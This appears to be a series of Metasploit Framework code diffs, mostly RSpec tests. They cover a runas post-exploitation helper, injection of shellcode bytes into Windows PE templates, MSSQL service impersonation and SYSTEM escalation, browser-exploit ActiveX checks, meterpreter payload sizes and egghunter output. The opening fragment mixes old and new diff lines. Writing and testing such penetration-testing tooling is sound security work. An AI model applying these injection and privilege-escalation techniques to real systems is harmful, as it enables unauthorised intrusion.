print_status("Executing CreateProcessWithLogonW...")
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
end
# Only process file if the process creation was successful, delete when done, give us info
# about process
if cs["return"]
tmpout = ""
if cmdout
outfile = session.fs.file.new(outpath, "rb")
until outfile.eof?
tmpout << outfile.read
end
outfile.close
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
c.close
end
if pi
tmpout = read_file(outpath) if cmdout
pi = cs["lpProcessInformation"].unpack("LLLL")
print_status("Command Run: #{cmdstr}")
print_status("Process Handle: #{pi[0]}")
print_status("Thread Handle: #{pi[1]}")
print_status("Process Id: #{pi[2]}")
print_status("Thread Id: #{pi[3]}")
print_line(tmpout)
else
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
return 0
vprint_status("Process Handle: #{pi[:process_handle]}")
vprint_status("Thread Handle: #{pi[:thread_handle]}")
vprint_status("Process Id: #{pi[:process_id]}")
vprint_status("Thread Id: #{pi[:thread_id]}")
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
end
end
end

View File

@ -297,8 +297,14 @@ if __FILE__ == $0
exit
end
$stderr.puts "Options for #{payload_mod.fullname}\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ')
$stderr.puts "Options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
exit(0)
end

View File

@ -8,4 +8,26 @@ describe Metasploit::Framework::LoginScanner::HTTP do
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
subject do
described_class.new
end
let(:response) { Rex::Proto::Http::Response.new(200, 'OK') }
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
describe '#send_request' do
context 'when a valid request is sent' do
it 'returns a response object' do
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
end

View File

@ -72,14 +72,6 @@ describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
end
end
describe '#send_request' do
context 'when a valid request is sent' do
it 'returns a response object' do
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
describe '#get_last_sid' do
let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK')

View File

@ -0,0 +1,82 @@
require 'spec_helper'
require 'msf/core/exe/segment_appender'
describe Msf::Exe::SegmentAppender do
let(:opts) do
option_hash = {
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
:arch => :x86
}
end
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
it { should respond_to :payload }
it { should respond_to :template }
it { should respond_to :arch }
it { should respond_to :processor }
it { should respond_to :buffer_register }
it 'should return the correct processor for the arch' do
injector.processor.class.should == Metasm::Ia32
injector.arch = :x64
injector.processor.class.should == Metasm::X86_64
end
context '#create_thread_stub' do
it 'should use edx as a default buffer register' do
injector.buffer_register.should == 'edx'
end
context 'when given a non-default buffer register' do
let(:opts) do
option_hash = {
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
:arch => :x86,
:buffer_register => 'eax'
}
end
it 'should use the correct buffer register' do
injector.buffer_register.should == 'eax'
end
end
end
describe '#generate_pe' do
it 'should return a string' do
injector.generate_pe.kind_of?(String).should == true
end
it 'should produce a valid PE exe' do
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
end
context 'the generated exe' do
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
it 'should be the propper arch' do
exe.bitsize.should == 32
end
it 'should have 5 sections' do
exe.sections.count.should == 5
end
it 'should have all the right original section names' do
s_names = []
exe.sections.collect {|s| s_names << s.name}
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
end
it 'should have the last section set to RWX' do
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
end
it 'should have an entrypoint that points to the last section' do
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
end
end
end
end

View File

@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do
injector.processor.class.should == Metasm::X86_64
end
context '#payload_as_asm' do
it 'should return the payload as declare byte instructions' do
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
end
end
context '#create_thread_stub' do
it 'should use edx as a default buffer register' do
injector.buffer_register.should == 'edx'

View File

@ -41,9 +41,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
:ua_ver =>'8.0',
:arch =>'x86',
:office =>'null',
:activex =>'true',
:proxy =>false,
:language =>'en-us',
:activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
:proxy => false,
:language => 'en-us',
:tried => true
}
end
@ -65,6 +65,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
end
describe '#has_bad_activex?' do
context 'when there is a bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
it 'returns false' do
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
end
end
context 'when there is no bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
it 'returns true' do
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
end
end
end
describe "#get_bad_requirements" do
let(:rejected_requirements) do
server.get_bad_requirements(fake_profile)

View File

@ -0,0 +1,492 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/mssql'
describe Msf::Post::Windows::MSSQL do
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ]
stubs.each { |meth| mod.stub(meth) }
mod.stub(:service_info).and_return({})
mod
end
let(:running_pid) do
6541
end
let(:stopped_pid) do
0
end
let(:named_instance) do
'NamedInstance'
end
# http://blogs.technet.com/b/fort_sql/archive/2010/05/31/list-of-sql-server-service-names.aspx
let(:sql_server_7_display) do
'MSSQLServer'
end
let(:sql_server_2000_display) do
'MSSQLServer'
end
let(:sql_server_2000_named_display) do
"MSSQL$#{named_instance}"
end
# Affects 7 and 2000
let(:sql_server_analysis_services_display) do
'MSSQLServerOLAPService'
end
let(:sql_server_2005_display) do
'SQL Server (MSSQLSERVER)'
end
let(:sql_server_2005_named_display) do
"MSSQLServer#{named_instance}"
end
let(:sql_server_2008_display) do
'SQL Server (MSSQLSERVER)'
end
let(:sql_server_2008_named_display) do
"SQL Server (#{named_instance})"
end
# Affects 2005/2008
let(:sql_server_agent_display) do
"SQL Server Agent (MSSQLServer)"
end
let(:stopped_2k8_sql_instance) do
{ display: sql_server_2008_display, pid: stopped_pid }
end
let(:running_2k8_sql_instance) do
{ display: sql_server_2008_display, pid: running_pid }
end
let(:running_named_2k8_sql_instance) do
{ display: sql_server_2008_named_display, pid: running_pid }
end
let(:stopped_named_2k8_sql_instance) do
{ display: sql_server_2008_named_display, pid: stopped_pid }
end
let(:running_sql_server_agent_service) do
{ display: sql_server_agent_display, pid: running_pid }
end
let(:running_2k5_sql_instance) do
{ display: sql_server_2005_display, pid: running_pid }
end
let(:running_named_2k5_sql_instance) do
{ display: sql_server_2005_named_display, pid: running_pid }
end
let(:running_2k_sql_instance) do
{ display: sql_server_2000_display, pid: running_pid }
end
let(:running_named_2k_sql_instance) do
{ display: sql_server_2000_named_display, pid: running_pid }
end
let(:running_7_sql_instance) do
{ display: sql_server_7_display, pid: running_pid }
end
let(:running_analysis_service) do
{ display: sql_server_analysis_services_display, pid: running_pid }
end
let(:normal_service) do
{ display: 'blah', pid: running_pid }
end
describe "#check_for_sqlserver" do
let(:instance) do
nil
end
context "when instance is nil" do
it "should return nil if unable to locate any SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service)
result = subject.check_for_sqlserver(instance)
result.should be_nil
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
it "shouldn't identify a non running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
end
context "when SQL Server 7 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_7_sql_instance
end
end
context "when SQL Server 2000 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k_sql_instance
end
end
context "when SQL Server 2005 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k5_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k5_sql_instance
end
end
context "when SQL Server 2008 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
it "should identify a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
context "when instance is supplied" do
let(:instance) do
named_instance
end
it "should return nil if unable to locate any SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service)
result = subject.check_for_sqlserver(instance)
result.should be_nil
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
it "shouldn't identify a non running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
it "should only identify that instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
context "when SQL Server 7 and instance is supplied" do
let(:instance) do
'MSSQLServer'
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_7_sql_instance
end
end
context "when SQL Server 2000 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k_sql_instance
end
end
context "when SQL Server 2005 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k5_sql_instance
end
end
context "when SQL Server 2008 and instance is supplied" do
let(:instance) do
named_instance
end
it "should identify only a named SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service)
.and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_named_2k8_sql_instance
end
end
end
describe "#impersonate_sql_user" do
let(:pid) do
8787
end
let(:user) do
'sqluser'
end
let(:service) do
{ pid: pid }
end
let(:process) do
{ 'pid' => pid, 'user' => user }
end
it 'should return false if service is invalid or pid is invalid' do
subject.impersonate_sql_user(nil).should be_falsey
subject.impersonate_sql_user(pid: nil).should be_falsey
subject.impersonate_sql_user(pid: 0).should be_falsey
end
context 'user has privs to impersonate' do
before(:each) do
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
subject.stub_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege'])
subject.stub_chain('session.incognito').and_return(true)
subject.stub_chain('session.sys.process.each_process').and_yield(process)
end
it 'should return true if successful impersonating' do
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully')
subject.impersonate_sql_user(service).should be true
end
it 'should return false if fails impersonating' do
subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff')
subject.impersonate_sql_user(service).should be false
end
it 'should return false if unable to find process username' do
subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0)
subject.impersonate_sql_user(service).should be false
end
end
context 'user does not have privs to impersonate' do
before(:each) do
subject.stub_chain('session.sys.config.getuid').and_return('Superman')
subject.stub_chain('client.sys.config.getprivs').and_return([])
end
it 'should return true if successful' do
expect(subject).to receive(:print_warning)
subject.stub_chain('session.core.migrate').with(pid).and_return(true)
subject.impersonate_sql_user(service).should be true
end
it 'should rescue an exception if migration fails' do
expect(subject).to receive(:print_warning)
subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError)
subject.impersonate_sql_user(service).should be false
end
end
end
describe "#get_system" do
it 'should return true if already SYSTEM' do
expect(subject).to receive(:is_system?).and_return(true)
subject.get_system.should be_truthy
end
it 'should return true if able to get SYSTEM and print a warning' do
expect(subject).to receive(:is_system?).and_return(false)
expect(subject).to receive(:print_warning)
subject.stub_chain('session.priv.getsystem').and_return([true])
subject.get_system.should be_truthy
end
it 'should return false if unable to get SYSTEM and print a warning' do
expect(subject).to receive(:is_system?).and_return(false)
expect(subject).to receive(:print_warning)
subject.stub_chain('session.priv.getsystem').and_return([false])
subject.get_system.should be_falsey
end
end
describe "#run_cmd" do
it 'should return a string' do
p = double('process')
c = double('channel')
p.stub(:channel).and_return(c)
subject.stub_chain('session.sys.process.execute').and_return(p)
expect(c).to receive(:read).and_return('hello')
expect(c).to receive(:read).and_return(nil)
expect(c).to receive(:close)
expect(p).to receive(:close)
subject.run_cmd(nil).should eq 'hello'
end
end
describe "#run_sql" do
let(:sqlclient) do
'blah'
end
before(:each) do
subject.sql_client = sqlclient
end
let(:query) do
'SELECT * FROM TABLE;'
end
let(:instance) do
'commandInstance'
end
let(:server) do
'mssql1231'
end
context 'when only a query is supplied' do
it 'should pass the @sql_client, and query to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S . ").should be_truthy
end
subject.run_sql(query)
end
end
context 'when a query and instance is supplied' do
it 'should pass the @sql_client, query, and instance to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S .\\#{instance} ").should be_truthy
end
subject.run_sql(query, instance)
end
it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S . ").should be_truthy
end
subject.run_sql(query, 'mssqlsErver')
end
end
context 'when a query, instance, and server is supplied' do
it 'should pass the @sql_client, query, instance, and server to run_cmd' do
expect(subject).to receive(:run_cmd) do |*args|
args.first.include?(sqlclient).should be_truthy
args.first.include?("-Q \"#{query}\" ").should be_truthy
args.first.include?("-S #{server}\\#{instance} ").should be_truthy
end
subject.run_sql(query, instance, server)
end
end
end
let(:osql) do
'osql'
end
let(:sql_command) do
'sqlcmd'
end
describe "#check_osql" do
it "should return nil if no osql" do
expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah')
subject.check_osql.should be_falsey
end
it "should return true if present" do
expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)')
subject.check_osql.should be_truthy
end
end
describe "#check_sqlcmd" do
it "should return nil if no sqlcmd" do
expect(subject).to receive(:run_cmd).and_return('blah')
subject.check_sqlcmd.should be_falsey
end
it "should return true if present" do
expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool')
subject.check_sqlcmd.should be_truthy
end
end
describe "#get_sql_client" do
it "should return nil if no client is available" do
expect(subject).to receive(:check_sqlcmd).and_return(false)
expect(subject).to receive(:check_osql).and_return(false)
subject.get_sql_client.should be_nil
subject.sql_client.should be_nil
end
it "should return 'osql' if osql is available" do
expect(subject).to receive(:check_sqlcmd).and_return(false)
expect(subject).to receive(:check_osql).and_return(true)
subject.get_sql_client.should eq osql
subject.sql_client.should eq osql
end
it "should return 'sqlcmd' if sqlcmd is available" do
allow(subject).to receive(:check_osql).and_return(true)
expect(subject).to receive(:check_sqlcmd).and_return(true)
subject.get_sql_client.should eq sql_command
subject.sql_client.should eq sql_command
end
end
end

View File

@ -0,0 +1,207 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/runas'
describe Msf::Post::Windows::Runas do
let(:process_info) do
"\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"
end
let(:phToken) do
"testPhToken"
end
let(:advapi32) do
advapi32 = double('advapi32')
advapi32.stub(:CreateProcessWithLogonW).and_return({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:CreateProcessAsUserA).and_return ({
'return' => true,
'lpProcessInformation' => process_info
})
advapi32.stub(:LogonUserA).and_return ({
'return' => true,
'phToken' => phToken
})
advapi32
end
let(:kernel32) do
double('kernel32', CloseHandle: nil)
end
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ]
stubs.each { |meth| mod.stub(meth) }
mod.stub_chain("session.railgun.kernel32").and_return(kernel32)
mod.stub_chain("session.railgun.advapi32").and_return(advapi32)
mod
end
context "#create_process_with_logon" do
it "should return a process_info hash" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure" do
expect(advapi32).to receive(:CreateProcessWithLogonW)
expect(kernel32).not_to receive(:CloseHandle)
advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#create_process_as_user" do
it "should return a process_info hash" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).to receive(:CloseHandle).with(1)
expect(kernel32).to receive(:CloseHandle).with(2)
pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return a nil on failure of create process" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).to receive(:CreateProcessAsUserA)
expect(kernel32).to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
it "should return a nil on failure of logon user" do
expect(advapi32).to receive(:LogonUserA)
expect(advapi32).not_to receive(:CreateProcessAsUserA)
expect(kernel32).not_to receive(:CloseHandle).with(phToken)
expect(kernel32).not_to receive(:CloseHandle).with(1)
expect(kernel32).not_to receive(:CloseHandle).with(2)
advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp')
subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil
end
end
context "#startup_info" do
it "should be 68 bytes" do
subject.startup_info.size.should eq(68)
end
it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do
si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV')
si[11].should eq(1)
si[12].should eq(0)
end
end
context "#parse_process_information" do
it "should return a hash when given valid data" do
pi = subject.parse_process_information(process_info)
pi.should be_kind_of(Hash)
pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4)
end
it "should return an exception when given an empty string" do
expect { subject.parse_process_information("") }.to raise_error
end
it "should return an exception when given an nil value" do
expect { subject.parse_process_information(nil) }.to raise_error
end
end
context "#check_user_format" do
let(:upn_username) do
"bob@flob.com"
end
let(:domain_username) do
"flob\\bob"
end
let(:domain) do
"flob"
end
it "should return an exception when username is nil" do
expect { subject.check_user_format(nil, domain) }.to raise_error
end
it "should return an exception when UPN format and domain supplied" do
expect { subject.check_user_format(upn_username, domain) }.to raise_error
end
it "should return true when UPN format and domain is nil" do
subject.check_user_format(upn_username, nil).should be true
end
it "should return true when domain format and domain is nil" do
subject.check_user_format(domain_username, nil).should be true
end
it "should return true when domain format and domain supplied" do
subject.check_user_format(domain_username, domain).should be true
end
end
context "#check_command_length" do
let(:max_length) do
1024
end
let(:max_path) do
256
end
let(:large_command_module) do
("A" * max_path + 1) + " arg1 arg2"
end
let(:normal_command_module) do
("A" * max_path) + " arg1 arg2"
end
let(:large_command_line) do
"A" * max_length + 1
end
let(:normal_command_line) do
"A" * max_length
end
let(:application_name) do
"c:\\windows\\system32\\calc.exe"
end
it "should raise an exception when max_length is nil" do
expect { subject.check_command_length(nil, nil, nil) }.to raise_error
end
it "should raise an exception when application_name and command_line are nil" do
expect { subject.check_command_length(nil, nil, max_length) }.to raise_error
end
it "should return true when application_name is set and command_line is nil" do
subject.check_command_length(application_name, nil, max_length).should be true
end
it "should return true when application_name is set and command_line is max_length" do
subject.check_command_length(application_name, normal_command_line, max_length).should be true
end
it "should raise an exception when command_line is larger than max_length" do
expect { subject.check_command_length(nil, large_command_line, max_length) }.to raise_error
end
it "should raise an exception when application_name is nil command_line module is larger than MAX_PATH" do
expect { subject.check_command_length(nil, large_command_module, max_length) }.to raise_error
end
it "should return true when application_name is nil and command_module is less than MAX_PATH" do
subject.check_command_length(nil, normal_command_module, max_length).should be true
end
end
end

View File

@ -145,6 +145,97 @@ describe Msf::HTTP::Wordpress::Version do
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when all versions are vulnerable' do
let(:wp_code) { 200 }
let(:wp_body) { 'Stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
end
end
describe '#check_theme_version_from_style' do
before :each do
allow(subject).to receive(:send_request_cgi) do |opts|
res = Rex::Proto::Http::Response.new
res.code = wp_code
res.body = wp_body
res
end
end
let(:wp_code) { 200 }
let(:wp_body) { nil }
let(:wp_fixed_version) { nil }
context 'when no style is found' do
let(:wp_code) { 404 }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) }
end
context 'when no version can be extracted from style' do
let(:wp_code) { 200 }
let(:wp_body) { 'invalid content' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
context 'when version from style has arbitrary leading whitespace' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
let(:wp_body) { 'Version:1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is not vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'Version: 1.0.2' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is vulnerable (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.2' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 1.0.1' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is older (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 0.0.9' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (version range)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_introd_version) { '1.0.0' }
let(:wp_body) { 'Version: 1.0.2' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when installed version is newer (text in version number)' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.5.3' }
let(:wp_body) { 'Version: 2.0.0-beta1' }
it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) }
end
context 'when all versions are vulnerable' do
let(:wp_code) { 200 }
let(:wp_body) { 'Version: 1.0.0' }
it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) }
end
end
end

View File

@ -394,7 +394,8 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
" -i,--info Change the info of a host",
" -n,--name Change the name of a host",
" -m,--comment Change the comment of a host",
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
" -t,--tag Add or specify a tag to a range of hosts",
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
]
end
end

View File

@ -2045,6 +2045,17 @@ describe 'modules/payloads', :content do
reference_name: 'python/meterpreter/reverse_http'
end
context 'python/meterpreter/reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/python/reverse_https',
'stages/python/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter/reverse_https'
end
context 'python/meterpreter/reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [

View File

@ -0,0 +1,103 @@
load Metasploit::Framework.root.join('tools/egghunter.rb').to_path
require 'stringio'
describe Egghunter do
describe Egghunter::Driver do
subject do
Egghunter::Driver.new
end
let(:egg) {
'W00T'
}
describe '#run' do
def get_stdout(&block)
out = $stdout
$stdout = fake = StringIO.new
begin
yield
ensure
$stdout = out
end
fake.string
end
let(:default_opts) {
{ :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' }
}
before(:each) do
allow(Egghunter::OptsConsole).to receive(:parse).with(any_args).and_return(options)
end
context 'when the platform is windows' do
let(:options) { default_opts }
it 'returns a windows egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\x66\\x81\\xca\\xff")
end
end
context 'when the platform is linux' do
let(:options) do
{ :platform => 'linux', :format => 'c', :eggtag => egg, :arch => 'x86' }
end
it 'returns a linux egghunter' do
output = get_stdout { subject.run }
expect(output).to include("\\xfc\\x66\\x81\\xc9\\xff")
end
end
context 'when the egg is WOOT' do
let(:options) { default_opts }
